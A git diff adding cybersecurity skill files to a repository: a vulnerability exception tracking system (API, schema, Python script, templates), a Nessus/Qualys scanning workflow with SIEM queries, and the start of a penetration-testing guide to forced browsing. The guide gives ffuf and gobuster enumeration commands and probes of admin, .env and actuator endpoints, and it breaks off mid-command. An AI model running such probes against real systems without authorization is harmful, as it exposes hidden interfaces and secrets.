180 days | Security Architect | + +### Required Fields for Exception Request + +```python +exception_schema = { + "cve_id": "CVE-2024-XXXX", + "finding_id": "unique-finding-reference", + "asset_hostname": "prod-db-01.corp.local", + "severity": "high", + "cvss_score": 8.1, + "category": "remediation_delay", + "justification": "Database upgrade required before patch can be applied", + "compensating_controls": [ + "WAF rule blocking exploit pattern deployed", + "Network segmentation restricting access to trusted VLANs only", + "Enhanced monitoring via Splunk alert for exploitation indicators" + ], + "requested_expiration": "2024-06-15", + "requestor_email": "dbadmin@company.com", + "approver_emails": ["security-lead@company.com", "ciso@company.com"], + "risk_rating": "medium", +} +``` + +## Database Schema + +```sql +CREATE TABLE vulnerability_exceptions ( + id SERIAL PRIMARY KEY, + cve_id VARCHAR(20) NOT NULL, + finding_id VARCHAR(100) NOT NULL, + asset_hostname VARCHAR(255), + severity VARCHAR(20), + cvss_score DECIMAL(3,1), + category VARCHAR(50) NOT NULL, + justification TEXT NOT NULL, + compensating_controls TEXT, + status VARCHAR(20) DEFAULT 'pending', + requested_by VARCHAR(255) NOT NULL, + approved_by VARCHAR(255), + requested_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + approved_at TIMESTAMP, + expires_at TIMESTAMP NOT NULL, + expired BOOLEAN DEFAULT FALSE, + risk_rating VARCHAR(20), + review_notes TEXT, + created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP +); + +CREATE TABLE exception_audit_log ( + id SERIAL PRIMARY KEY, + exception_id INTEGER REFERENCES vulnerability_exceptions(id), + action VARCHAR(50) NOT NULL, + actor VARCHAR(255) NOT NULL, + details TEXT, + created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP +); + +CREATE INDEX idx_exception_status ON vulnerability_exceptions(status); +CREATE INDEX idx_exception_expires ON vulnerability_exceptions(expires_at); +CREATE INDEX idx_exception_cve ON vulnerability_exceptions(cve_id); +``` + +## Implementation + +### Exception Request API + +```python +from flask import Flask, request, jsonify +from datetime import datetime, timezone +import json + +app = Flask(__name__) + +@app.route("/api/exceptions", methods=["POST"]) +def create_exception(): + data = request.json + required = ["cve_id", "finding_id", "category", "justification", "expires_at", "requestor_email"] + for field in required: + if field not in data: + return jsonify({"error": f"Missing required field: {field}"}), 400 + + # Validate expiration does not exceed category maximum + max_days = {"remediation_delay": 30, "no_fix": 90, "business_critical": 60, + "false_positive": 365, "compensating_control": 180} + # Insert into database and notify approvers + return jsonify({"status": "pending", "id": "exc-12345"}) + +@app.route("/api/exceptions//approve", methods=["POST"]) +def approve_exception(exc_id): + approver = request.json.get("approver_email") + notes = request.json.get("notes", "") + # Update status to approved, record approver and timestamp + return jsonify({"status": "approved"}) + +@app.route("/api/exceptions//reject", methods=["POST"]) +def reject_exception(exc_id): + reviewer = request.json.get("reviewer_email") + reason = request.json.get("reason") + # Update status to rejected, record reviewer and reason + return jsonify({"status": "rejected"}) +``` + +### Expiration Checker (Daily Cron) + +```bash +# Check for expired exceptions daily +python3 scripts/process.py --check-expirations + +# Generate monthly exception report +python3 scripts/process.py --report --output exception_report.json +``` + +## Compensating Controls Documentation + +For each exception, compensating controls must address: +1. **Detection**: How will exploitation attempts be detected? +2. **Prevention**: What barriers reduce exploitation likelihood? +3. **Response**: What incident response procedures are in place? +4. **Monitoring**: What continuous monitoring ensures controls remain effective? + +## References + +- [NIST SP 800-53 Rev 5 - CA-7 Continuous Monitoring](https://csrc.nist.gov/publications/detail/sp/800-53/rev-5/final) +- [PCI DSS v4.0 Compensating Controls](https://docs-prv.pcisecuritystandards.org/PCI%20DSS/Standard/PCI-DSS-v4_0.pdf) +- [CIS Controls v8 - Control 7.7](https://www.cisecurity.org/controls/continuous-vulnerability-management) diff --git a/skills/building-vulnerability-exception-tracking-system/assets/template.md b/skills/building-vulnerability-exception-tracking-system/assets/template.md new file mode 100644 index 00000000..e007d81f --- /dev/null +++ b/skills/building-vulnerability-exception-tracking-system/assets/template.md @@ -0,0 +1,55 @@ +# Vulnerability Exception Request Template + +## Exception Request Form + +### Vulnerability Information +- **CVE ID**: CVE-YYYY-NNNNN +- **Finding ID**: [Scanner reference number] +- **Affected Asset(s)**: [hostname/IP] +- **Severity**: [Critical/High/Medium/Low] +- **CVSS Score**: [0.0 - 10.0] +- **Discovery Date**: [YYYY-MM-DD] +- **Original SLA Deadline**: [YYYY-MM-DD] + +### Exception Details +- **Category**: [ ] Remediation Delay [ ] No Fix Available [ ] Business Critical [ ] False Positive [ ] Compensating Control +- **Requested Expiration Date**: [YYYY-MM-DD] +- **Justification**: [Detailed explanation of why remediation cannot be completed within SLA] + +### Compensating Controls +1. **Detection Control**: [How will exploitation attempts be detected?] +2. **Prevention Control**: [What barriers reduce exploitation likelihood?] +3. **Response Procedure**: [What IR procedures are in place for this vulnerability?] +4. **Monitoring**: [What ongoing monitoring ensures controls remain effective?] + +### Risk Assessment +- **Residual Risk Rating**: [High/Medium/Low] +- **Business Impact if Exploited**: [Description] +- **Likelihood of Exploitation**: [High/Medium/Low] + +### Requestor +- **Name**: [Full name] +- **Email**: [email@company.com] +- **Department**: [Team/Department] +- **Date**: [YYYY-MM-DD] + +--- + +## Approval Section (For Approver Use) + +### Decision +- [ ] **Approved** - Exception granted with conditions below +- [ ] **Rejected** - See rejection reason below +- [ ] **More Information Required** - See notes below + +### Conditions (if approved) +- [List any additional conditions] + +### Reviewer Notes +- [Notes from security review] + +### Approver +- **Name**: [Full name] +- **Title**: [Job title] +- **Date**: [YYYY-MM-DD] +- **Signature**: [Digital signature or email confirmation reference] diff --git a/skills/building-vulnerability-exception-tracking-system/references/standards.md b/skills/building-vulnerability-exception-tracking-system/references/standards.md new file mode 100644 index 00000000..6fd64bb2 --- /dev/null +++ b/skills/building-vulnerability-exception-tracking-system/references/standards.md @@ -0,0 +1,34 @@ +# Standards and References - Vulnerability Exception Tracking + +## Primary Standards + +### NIST SP 800-53 Rev 5 - RA-5(5) +- **Title**: Vulnerability Monitoring and Scanning - Privileged Access +- **URL**: https://csrc.nist.gov/publications/detail/sp/800-53/rev-5/final +- **Relevance**: Requires organizations to track and manage vulnerability exceptions with documented risk acceptance + +### PCI DSS v4.0 - Compensating Controls +- **URL**: https://docs-prv.pcisecuritystandards.org/PCI%20DSS/Standard/PCI-DSS-v4_0.pdf +- **Relevance**: Appendix B defines requirements for compensating controls when a PCI requirement cannot be met as stated + +### ISO 27001:2022 - Clause 6.1.3 +- **Title**: Information Security Risk Treatment +- **Relevance**: Risk acceptance must be formally documented with appropriate authority approval + +### CIS Controls v8 - Control 7 +- **Title**: Continuous Vulnerability Management +- **Sub-control 7.7**: Remediate detected vulnerabilities within prescribed timelines; document exceptions with compensating controls + +### SOC 2 - CC3.2 +- **Title**: Risk Assessment +- **Relevance**: Requires evidence of risk acceptance decisions and compensating controls documentation + +## Compliance Requirements for Exceptions + +| Framework | Exception Requirement | Documentation Required | +|-----------|----------------------|----------------------| +| PCI DSS 4.0 | Compensating Controls Worksheet | Constraint, objective, controls, validation | +| SOC 2 Type II | Risk acceptance evidence | Approval chain, justification, review cadence | +| HIPAA | Risk analysis documentation | PHI impact, safeguards, timeline | +| NIST CSF 2.0 | Risk response decisions | Acceptance criteria, residual risk | +| ISO 27001 | Statement of Applicability | Risk owner approval, review schedule | diff --git a/skills/building-vulnerability-exception-tracking-system/references/workflows.md b/skills/building-vulnerability-exception-tracking-system/references/workflows.md new file mode 100644 index 00000000..3a312deb --- /dev/null +++ b/skills/building-vulnerability-exception-tracking-system/references/workflows.md @@ -0,0 +1,47 @@ +# Workflows - Vulnerability Exception Tracking + +## Workflow 1: Exception Request and Approval + +### Steps +1. Asset owner identifies vulnerability that cannot be remediated within SLA +2. Owner submits exception request with justification and compensating controls +3. System validates request completeness and category-specific fields +4. System routes request to appropriate approver based on severity and category +5. Approver reviews justification and compensating controls +6. Approver approves, rejects, or requests additional information +7. If approved, exception is recorded with expiration date +8. Vulnerability status updated in scanner/DefectDojo to "exception_approved" +9. Audit log entry created with full approval chain + +## Workflow 2: Daily Expiration Check + +### Steps +1. Cron job queries all active exceptions with expires_at <= today + 14 days +2. For exceptions expiring within 14 days: send renewal reminder to requestor +3. For exceptions expiring within 7 days: send urgency reminder with escalation +4. For expired exceptions: update status to "expired", revert vulnerability to "open" +5. Send expiration notification to asset owner and security team +6. Regenerate SLA tracking to include re-opened findings + +## Workflow 3: Quarterly Exception Review + +### Steps +1. Generate report of all active exceptions grouped by category and severity +2. For each exception, verify compensating controls are still in place +3. Review if vendor patch has become available for "no_fix" exceptions +4. Re-assess risk rating based on current threat landscape +5. Escalate exceptions with changed risk profiles for re-approval +6. Update exception records with review notes and new risk ratings +7. Submit quarterly report to security governance committee + +## Workflow 4: Compensating Control Validation + +### Steps +1. For each active exception, extract listed compensating controls +2. Validate each control is still operational: + - WAF rules: Query WAF API for rule status + - Network segmentation: Verify firewall rules + - Monitoring alerts: Confirm SIEM rules are active and triggering +3. Flag exceptions where compensating controls have degraded +4. Notify exception requestor and security team of control failures +5. If controls cannot be restored within 48 hours, revoke exception diff --git a/skills/building-vulnerability-exception-tracking-system/scripts/process.py b/skills/building-vulnerability-exception-tracking-system/scripts/process.py new file mode 100644 index 00000000..16e44074 --- /dev/null +++ b/skills/building-vulnerability-exception-tracking-system/scripts/process.py @@ -0,0 +1,229 @@ +#!/usr/bin/env python3 +"""Vulnerability Exception Tracking System. + +Manages vulnerability exception requests, approvals, expiration tracking, +and compensating controls documentation. +""" + +import argparse +import json +import os +import sqlite3 +from datetime import datetime, timedelta, timezone +from pathlib import Path + +import requests + +DB_PATH = os.environ.get("EXCEPTION_DB_PATH", "vulnerability_exceptions.db") + + +def init_db(db_path=DB_PATH): + conn = sqlite3.connect(db_path) + conn.execute(""" + CREATE TABLE IF NOT EXISTS vulnerability_exceptions ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + cve_id TEXT NOT NULL, + finding_id TEXT NOT NULL, + asset_hostname TEXT, + severity TEXT, + cvss_score REAL, + category TEXT NOT NULL, + justification TEXT NOT NULL, + compensating_controls TEXT, + status TEXT DEFAULT 'pending', + requested_by TEXT NOT NULL, + approved_by TEXT, + requested_at TEXT DEFAULT CURRENT_TIMESTAMP, + approved_at TEXT, + expires_at TEXT NOT NULL, + risk_rating TEXT, + review_notes TEXT, + created_at TEXT DEFAULT CURRENT_TIMESTAMP + ) + """) + conn.execute(""" + CREATE TABLE IF NOT EXISTS exception_audit_log ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + exception_id INTEGER, + action TEXT NOT NULL, + actor TEXT NOT NULL, + details TEXT, + created_at TEXT DEFAULT CURRENT_TIMESTAMP, + FOREIGN KEY (exception_id) REFERENCES vulnerability_exceptions(id) + ) + """) + conn.commit() + return conn + + +def create_exception(conn, data): + max_days = { + "remediation_delay": 30, + "no_fix": 90, + "business_critical": 60, + "false_positive": 365, + "compensating_control": 180, + } + category = data.get("category", "remediation_delay") + expires = data.get("expires_at") + if expires: + exp_date = datetime.fromisoformat(expires) + max_exp = datetime.now(timezone.utc) + timedelta(days=max_days.get(category, 30)) + if exp_date.replace(tzinfo=timezone.utc) > max_exp: + print(f"[-] Expiration exceeds maximum {max_days[category]} days for {category}") + return None + + cursor = conn.execute( + """INSERT INTO vulnerability_exceptions + (cve_id, finding_id, asset_hostname, severity, cvss_score, category, + justification, compensating_controls, requested_by, expires_at, risk_rating) + VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)""", + ( + data["cve_id"], data["finding_id"], data.get("asset_hostname", ""), + data.get("severity", ""), data.get("cvss_score", 0), + category, data["justification"], + json.dumps(data.get("compensating_controls", [])), + data["requestor_email"], expires, data.get("risk_rating", "medium"), + ), + ) + exc_id = cursor.lastrowid + conn.execute( + "INSERT INTO exception_audit_log (exception_id, action, actor, details) VALUES (?, ?, ?, ?)", + (exc_id, "created", data["requestor_email"], f"Exception request for {data['cve_id']}"), + ) + conn.commit() + print(f"[+] Exception created: ID {exc_id} for {data['cve_id']}") + return exc_id + + +def approve_exception(conn, exc_id, approver_email, notes=""): + conn.execute( + """UPDATE vulnerability_exceptions + SET status = 'approved', approved_by = ?, approved_at = ?, review_notes = ? + WHERE id = ?""", + (approver_email, datetime.now(timezone.utc).isoformat(), notes, exc_id), + ) + conn.execute( + "INSERT INTO exception_audit_log (exception_id, action, actor, details) VALUES (?, ?, ?, ?)", + (exc_id, "approved", approver_email, notes), + ) + conn.commit() + print(f"[+] Exception {exc_id} approved by {approver_email}") + + +def reject_exception(conn, exc_id, reviewer_email, reason): + conn.execute( + "UPDATE vulnerability_exceptions SET status = 'rejected', review_notes = ? WHERE id = ?", + (reason, exc_id), + ) + conn.execute( + "INSERT INTO exception_audit_log (exception_id, action, actor, details) VALUES (?, ?, ?, ?)", + (exc_id, "rejected", reviewer_email, reason), + ) + conn.commit() + print(f"[+] Exception {exc_id} rejected by {reviewer_email}: {reason}") + + +def check_expirations(conn, slack_webhook=None): + now = datetime.now(timezone.utc).isoformat() + warn_date = (datetime.now(timezone.utc) + timedelta(days=14)).isoformat() + + expiring_soon = conn.execute( + "SELECT * FROM vulnerability_exceptions WHERE status = 'approved' AND expires_at BETWEEN ? AND ?", + (now, warn_date), + ).fetchall() + + expired = conn.execute( + "SELECT * FROM vulnerability_exceptions WHERE status = 'approved' AND expires_at < ?", + (now,), + ).fetchall() + + columns = [d[0] for d in conn.execute("SELECT * FROM vulnerability_exceptions LIMIT 0").description] + + for row in expired: + record = dict(zip(columns, row)) + conn.execute("UPDATE vulnerability_exceptions SET status = 'expired' WHERE id = ?", (record["id"],)) + conn.execute( + "INSERT INTO exception_audit_log (exception_id, action, actor, details) VALUES (?, ?, ?, ?)", + (record["id"], "expired", "system", f"Exception expired on {record['expires_at']}"), + ) + print(f"[!] Exception {record['id']} ({record['cve_id']}) EXPIRED") + + conn.commit() + + print(f"\n[*] Expiration Check Results:") + print(f" Expired: {len(expired)}") + print(f" Expiring within 14 days: {len(expiring_soon)}") + + if slack_webhook and (expired or expiring_soon): + payload = { + "text": f"Vulnerability Exception Alert: {len(expired)} expired, {len(expiring_soon)} expiring soon" + } + requests.post(slack_webhook, json=payload, timeout=10) + + return {"expired": len(expired), "expiring_soon": len(expiring_soon)} + + +def generate_report(conn, output_path): + report = { + "generated_at": datetime.now(timezone.utc).isoformat(), + "summary": {}, + "exceptions": [], + } + cursor = conn.execute( + """SELECT status, COUNT(*) as count FROM vulnerability_exceptions GROUP BY status""" + ) + for row in cursor.fetchall(): + report["summary"][row[0]] = row[1] + + cursor = conn.execute( + "SELECT * FROM vulnerability_exceptions ORDER BY CASE status " + "WHEN 'expired' THEN 1 WHEN 'pending' THEN 2 WHEN 'approved' THEN 3 ELSE 4 END" + ) + columns = [d[0] for d in cursor.description] + for row in cursor.fetchall(): + report["exceptions"].append(dict(zip(columns, row))) + + with open(output_path, "w", encoding="utf-8") as f: + json.dump(report, f, indent=2) + print(f"[+] Exception report written to {output_path}") + return report + + +def main(): + parser = argparse.ArgumentParser(description="Vulnerability Exception Tracking System") + parser.add_argument("--db", default=DB_PATH) + parser.add_argument("--create", help="JSON file with exception request") + parser.add_argument("--approve", type=int, help="Exception ID to approve") + parser.add_argument("--reject", type=int, help="Exception ID to reject") + parser.add_argument("--approver", help="Approver email") + parser.add_argument("--reason", help="Rejection reason") + parser.add_argument("--notes", default="", help="Approval notes") + parser.add_argument("--check-expirations", action="store_true") + parser.add_argument("--report", action="store_true") + parser.add_argument("--output", default="exception_report.json") + parser.add_argument("--slack-webhook", help="Slack webhook for notifications") + args = parser.parse_args() + + conn = init_db(args.db) + + if args.create: + with open(args.create, "r") as f: + data = json.load(f) + create_exception(conn, data) + elif args.approve and args.approver: + approve_exception(conn, args.approve, args.approver, args.notes) + elif args.reject and args.approver and args.reason: + reject_exception(conn, args.reject, args.approver, args.reason) + elif args.check_expirations: + check_expirations(conn, args.slack_webhook) + elif args.report: + generate_report(conn, args.output) + else: + parser.print_help() + + conn.close() + + +if __name__ == "__main__": + main() diff --git a/skills/building-vulnerability-scanning-workflow/SKILL.md b/skills/building-vulnerability-scanning-workflow/SKILL.md new file mode 100644 index 00000000..f64f5fad --- /dev/null +++ b/skills/building-vulnerability-scanning-workflow/SKILL.md @@ -0,0 +1,332 @@ +--- +name: building-vulnerability-scanning-workflow +description: > + Builds a structured vulnerability scanning workflow using tools like Nessus, Qualys, and OpenVAS + to discover, prioritize, and track remediation of security vulnerabilities across infrastructure. + Use when SOC teams need to establish recurring vulnerability assessment processes, integrate + scan results with SIEM alerting, and build remediation tracking dashboards. +domain: cybersecurity +subdomain: soc-operations +tags: [soc, vulnerability-scanning, nessus, qualys, openvas, cvss, remediation, patch-management] +version: "1.0" +author: mahipal +license: MIT +--- +# Building Vulnerability Scanning Workflow + +## When to Use + +Use this skill when: +- SOC teams need to establish or improve recurring vulnerability scanning programs +- Scan results require prioritization beyond raw CVSS scores using asset context and threat intelligence +- Vulnerability data must be integrated into SIEM for correlation with exploitation attempts +- Remediation tracking needs formalization with SLA-based dashboards and reporting + +**Do not use** for penetration testing or active exploitation — vulnerability scanning identifies weaknesses, penetration testing validates exploitability. + +## Prerequisites + +- Vulnerability scanner (Tenable Nessus Professional, Qualys VMDR, or OpenVAS/Greenbone) +- Asset inventory with criticality classifications (business-critical, standard, development) +- Network access from scanner to all target segments (agent-based or network scan) +- SIEM integration for scan result ingestion and correlation +- Patch management system (WSUS, SCCM, Intune) for remediation tracking + +## Workflow + +### Step 1: Define Scan Scope and Scheduling + +Create scan policies covering all asset types: + +**Nessus Scan Configuration (API):** +```python +import requests + +nessus_url = "https://nessus.company.com:8834" +headers = {"X-ApiKeys": f"accessKey={access_key};secretKey={secret_key}"} + +# Create scan policy +policy = { + "uuid": "advanced", + "settings": { + "name": "SOC Weekly Infrastructure Scan", + "description": "Weekly credentialed scan of all server and workstation segments", + "scanner_id": 1, + "policy_id": 0, + "text_targets": "10.0.0.0/16, 172.16.0.0/12", + "launch": "WEEKLY", + "starttime": "20240315T020000", + "rrules": "FREQ=WEEKLY;INTERVAL=1;BYDAY=SA", + "enabled": True + }, + "credentials": { + "add": { + "Host": { + "Windows": [{ + "domain": "company.local", + "username": "nessus_svc", + "password": "SCAN_SERVICE_PASSWORD", + "auth_method": "Password" + }], + "SSH": [{ + "username": "nessus_svc", + "private_key": "/path/to/nessus_key", + "auth_method": "public key" + }] + } + } + } +} + +response = requests.post(f"{nessus_url}/scans", headers=headers, json=policy, verify=False) +scan_id = response.json()["scan"]["id"] +print(f"Scan created: ID {scan_id}") +``` + +**Qualys VMDR Scan via API:** +```python +import qualysapi + +conn = qualysapi.connect( + hostname="qualysapi.qualys.com", + username="api_user", + password="API_PASSWORD" +) + +# Launch vulnerability scan +params = { + "action": "launch", + "scan_title": "Weekly_Infrastructure_Scan", + "ip": "10.0.0.0/16", + "option_id": "123456", # Scan profile ID + "iscanner_name": "Internal_Scanner_01", + "priority": "0" +} + +response = conn.request("/api/2.0/fo/scan/", params) +print(f"Scan launched: {response}") +``` + +### Step 2: Process and Prioritize Scan Results + +Download results and apply risk-based prioritization: + +```python +import requests +import csv + +# Export Nessus results +response = requests.get( + f"{nessus_url}/scans/{scan_id}/export", + headers=headers, + params={"format": "csv"}, + verify=False +) + +# Parse and prioritize +vulns = [] +reader = csv.DictReader(response.text.splitlines()) +for row in reader: + cvss = float(row.get("CVSS v3.0 Base Score", 0)) + asset_criticality = get_asset_criticality(row["Host"]) # From asset inventory + + # Risk-based priority calculation + risk_score = cvss * asset_criticality_multiplier(asset_criticality) + + # Boost score if actively exploited (check CISA KEV) + if row.get("CVE") in cisa_kev_list: + risk_score *= 1.5 + + vulns.append({ + "host": row["Host"], + "plugin_name": row["Name"], + "severity": row["Risk"], + "cvss": cvss, + "cve": row.get("CVE", "N/A"), + "risk_score": round(risk_score, 1), + "asset_criticality": asset_criticality, + "kev": row.get("CVE") in cisa_kev_list + }) + +# Sort by risk score +vulns.sort(key=lambda x: x["risk_score"], reverse=True) +``` + +**CISA KEV (Known Exploited Vulnerabilities) Check:** +```python +import requests + +kev_response = requests.get( + "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json" +) +kev_data = kev_response.json() +cisa_kev_list = {v["cveID"] for v in kev_data["vulnerabilities"]} + +# Check if vulnerability is actively exploited +def is_actively_exploited(cve_id): + return cve_id in cisa_kev_list +``` + +### Step 3: Define Remediation SLAs + +Apply SLA-based remediation timelines: + +| Priority | CVSS Range | Asset Type | SLA | Examples | +|----------|-----------|------------|-----|---------| +| **P1 Critical** | 9.0-10.0 + KEV | All assets | 24 hours | Log4Shell, EternalBlue on prod servers | +| **P2 High** | 7.0-8.9 or 9.0+ non-KEV | Business-critical | 7 days | RCE without known exploit | +| **P3 Medium** | 4.0-6.9 | Business-critical | 30 days | Authenticated privilege escalation | +| **P4 Low** | 0.1-3.9 | Standard | 90 days | Information disclosure, low-impact DoS | +| **P5 Informational** | 0.0 | Development | Next cycle | Best practice findings, config hardening | + +### Step 4: Integrate with SIEM for Exploitation Detection + +Correlate vulnerability scan data with SIEM alerts to detect active exploitation: + +```spl +index=vulnerability sourcetype="nessus:scan" +| eval vuln_key = Host.":".CVE +| join vuln_key type=left [ + search index=ids_ips sourcetype="snort" OR sourcetype="suricata" + | eval vuln_key = dest_ip.":".cve_id + | stats count AS exploit_attempts, latest(_time) AS last_exploit_attempt by vuln_key + ] +| where isnotnull(exploit_attempts) +| eval risk = "CRITICAL — Vulnerability being actively exploited" +| sort - exploit_attempts +| table Host, CVE, plugin_name, cvss_score, exploit_attempts, last_exploit_attempt, risk +``` + +**Alert when KEV vulnerabilities are detected on critical assets:** +```spl +index=vulnerability sourcetype="nessus:scan" severity="Critical" +| lookup cisa_kev_lookup.csv cve_id AS CVE OUTPUT kev_status, due_date +| where kev_status="active" +| lookup asset_criticality_lookup.csv ip AS Host OUTPUT criticality +| where criticality IN ("business-critical", "mission-critical") +| table Host, CVE, plugin_name, cvss_score, kev_status, due_date, criticality +``` + +### Step 5: Build Remediation Tracking Dashboard + +**Splunk Dashboard for Vulnerability Metrics:** +```spl +-- Open vulnerabilities by severity +index=vulnerability sourcetype="nessus:scan" status="open" +| stats count by severity +| eval order = case(severity="Critical", 1, severity="High", 2, severity="Medium", 3, + severity="Low", 4, 1=1, 5) +| sort order + +-- SLA compliance tracking +index=vulnerability sourcetype="nessus:scan" status="open" +| eval sla_days = case( + severity="Critical", 1, + severity="High", 7, + severity="Medium", 30, + severity="Low", 90 + ) +| eval days_open = round((now() - first_detected) / 86400) +| eval sla_status = if(days_open > sla_days, "OVERDUE", "Within SLA") +| stats count by severity, sla_status + +-- Remediation trend over 90 days +index=vulnerability sourcetype="nessus:scan" +| eval is_open = if(status="open", 1, 0) +| eval is_closed = if(status="fixed", 1, 0) +| timechart span=1w sum(is_open) AS opened, sum(is_closed) AS remediated +``` + +### Step 6: Automate Remediation Ticketing + +Create tickets automatically for high-priority findings: + +```python +import requests + +servicenow_url = "https://company.service-now.com/api/now/table/incident" +headers = { + "Content-Type": "application/json", + "Authorization": f"Bearer {snow_token}" +} + +for vuln in vulns: + if vuln["risk_score"] >= 8.0: + ticket = { + "short_description": f"[VULN] {vuln['cve']} — {vuln['plugin_name']} on {vuln['host']}", + "description": ( + f"Vulnerability: {vuln['plugin_name']}\n" + f"CVE: {vuln['cve']}\n" + f"CVSS: {vuln['cvss']}\n" + f"Host: {vuln['host']}\n" + f"Asset Criticality: {vuln['asset_criticality']}\n" + f"CISA KEV: {'YES' if vuln['kev'] else 'NO'}\n" + f"Risk Score: {vuln['risk_score']}\n" + f"Remediation SLA: {'24 hours' if vuln['kev'] else '7 days'}" + ), + "urgency": "1" if vuln["kev"] else "2", + "impact": "1" if vuln["asset_criticality"] == "business-critical" else "2", + "assignment_group": "IT Infrastructure", + "category": "Vulnerability" + } + response = requests.post(servicenow_url, headers=headers, json=ticket) + print(f"Ticket created: {response.json()['result']['number']}") +``` + +## Key Concepts + +| Term | Definition | +|------|-----------| +| **CVSS** | Common Vulnerability Scoring System — standardized severity rating (0-10) for vulnerabilities | +| **CISA KEV** | Known Exploited Vulnerabilities catalog — CISA-maintained list of vulnerabilities with confirmed active exploitation | +| **Credentialed Scan** | Vulnerability scan using authenticated access for deeper detection than network-only scanning | +| **Asset Criticality** | Business impact classification determining remediation priority (mission-critical, business-critical, standard) | +| **Remediation SLA** | Service Level Agreement defining maximum time allowed to patch vulnerabilities by severity | +| **EPSS** | Exploit Prediction Scoring System — ML-based probability score predicting likelihood of exploitation | + +## Tools & Systems + +- **Tenable Nessus / Tenable.io**: Enterprise vulnerability scanner with 200,000+ plugin checks and compliance auditing +- **Qualys VMDR**: Cloud-based vulnerability management with asset discovery, prioritization, and patching integration +- **OpenVAS (Greenbone)**: Open-source vulnerability scanner with community-maintained vulnerability feed +- **CISA KEV Catalog**: US government maintained list of actively exploited vulnerabilities requiring mandatory remediation +- **Rapid7 InsightVM**: Vulnerability management platform with live dashboards and remediation project tracking + +## Common Scenarios + +- **Zero-Day Response**: New CVE published — run targeted scan for affected software, cross-reference with KEV and exploit databases +- **Compliance Audit Prep**: Generate PCI DSS or HIPAA vulnerability report showing scan coverage and remediation status +- **Post-Patch Verification**: Rescan patched systems to confirm vulnerability closure and update tracking dashboard +- **Network Expansion**: New subnet added to infrastructure — onboard to scan scope with appropriate policy +- **Third-Party Risk**: Scan externally-facing assets to validate vendor patch compliance before integration + +## Output Format + +``` +VULNERABILITY SCAN REPORT — Weekly Summary +━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +Scan Date: 2024-03-16 02:00 UTC +Scan Scope: 10.0.0.0/16 (1,247 hosts scanned) +Duration: 4h 23m +Coverage: 98.7% (16 hosts unreachable) + +Findings: + Severity Count New CISA KEV + Critical 23 5 3 + High 187 34 12 + Medium 892 78 0 + Low 1,456 112 0 + Info 3,891 201 0 + +Top Priority (P1 — 24hr SLA): + CVE-2024-21762 FortiOS RCE 3 hosts KEV: YES + CVE-2024-1709 ConnectWise RCE 1 host KEV: YES + CVE-2024-3400 Palo Alto PAN-OS RCE 2 hosts KEV: YES + +SLA Compliance: + Critical: 82% within SLA (4 overdue) + High: 91% within SLA (17 overdue) + Medium: 88% within SLA (107 overdue) + +Tickets Created: 39 (ServiceNow) +``` diff --git a/skills/bypassing-authentication-with-forced-browsing/SKILL.md b/skills/bypassing-authentication-with-forced-browsing/SKILL.md new file mode 100644 index 00000000..c833681f --- /dev/null +++ b/skills/bypassing-authentication-with-forced-browsing/SKILL.md @@ -0,0 +1,267 @@ +--- +name: bypassing-authentication-with-forced-browsing +description: Discovering and accessing unprotected pages, APIs, and administrative interfaces by enumerating URLs and bypassing authentication controls during authorized security assessments. +domain: cybersecurity +subdomain: web-application-security +tags: [penetration-testing, authentication-bypass, forced-browsing, ffuf, directory-enumeration, owasp] +version: "1.0" +author: mahipal +license: MIT +--- + +# Bypassing Authentication with Forced Browsing + +## When to Use + +- During authorized penetration tests to discover hidden or unprotected administrative pages +- When testing whether authentication is consistently enforced across all application endpoints +- For identifying backup files, configuration files, and debug interfaces left exposed in production +- When assessing access control on API endpoints that should require authentication +- During security audits to validate that all sensitive resources enforce session validation + +## Prerequisites + +- **Authorization**: Written penetration testing agreement covering directory enumeration +- **ffuf**: Fast web fuzzer (`go install github.com/ffuf/ffuf/v2@latest`) +- **Gobuster**: Directory brute-force tool (`apt install gobuster`) +- **Burp Suite**: For intercepting and analyzing requests and responses +- **Wordlists**: SecLists collection (`git clone https://github.com/danielmiessler/SecLists.git`) +- **Target access**: Network connectivity and valid test credentials for authenticated comparison + +## Workflow + +### Step 1: Enumerate Hidden Directories and Files + +Use ffuf or Gobuster to discover paths not linked in the application's navigation. + +```bash +# Directory enumeration with ffuf +ffuf -u https://target.example.com/FUZZ \ + -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \ + -mc 200,301,302,403 \ + -fc 404 \ + -o results-dirs.json -of json \ + -t 50 -rate 100 + +# File enumeration with common extensions +ffuf -u https://target.example.com/FUZZ \ + -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt \ + -e .php,.asp,.aspx,.jsp,.html,.js,.json,.xml,.bak,.old,.txt,.cfg,.conf,.env \ + -mc 200,301,302,403 \ + -fc 404 \ + -o results-files.json -of json \ + -t 50 -rate 100 + +# Gobuster for directory enumeration +gobuster dir -u https://target.example.com \ + -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \ + -s "200,204,301,302,307,403" \ + -x php,asp,aspx,jsp,html \ + -o gobuster-results.txt \ + -t 50 +``` + +### Step 2: Discover Administrative and Debug Interfaces + +Target common administrative paths and debug endpoints. + +```bash +# Admin panel enumeration +ffuf -u https://target.example.com/FUZZ \ + -w /usr/share/seclists/Discovery/Web-Content/common.txt \ + -mc 200,301,302 \ + -t 50 -rate 100 + +# Common admin paths to check manually: +# /admin, /administrator, /admin-panel, /wp-admin +# /cpanel, /phpmyadmin, /adminer, /manager +# /console, /debug, /actuator, /swagger-ui +# /graphql, /graphiql, /.env, /server-status + +# API endpoint discovery +ffuf -u https://target.example.com/api/FUZZ \ + -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \ + -mc 200,201,204,301,302,401,403 \ + -fc 404 \ + -o api-results.json -of json + +# Check for Spring Boot Actuator endpoints +for endpoint in env health info beans configprops mappings trace; do + curl -s -o /dev/null -w "%{http_code} /actuator/$endpoint\n" \ + "https://target.example.com/actuator/$endpoint" +done +``` + +### Step 3: Test Authentication Enforcement on Discovered Endpoints + +Compare responses between unauthenticated and authenticated requests. + +```bash +# Test without authentication +curl -s -o /dev/null -w 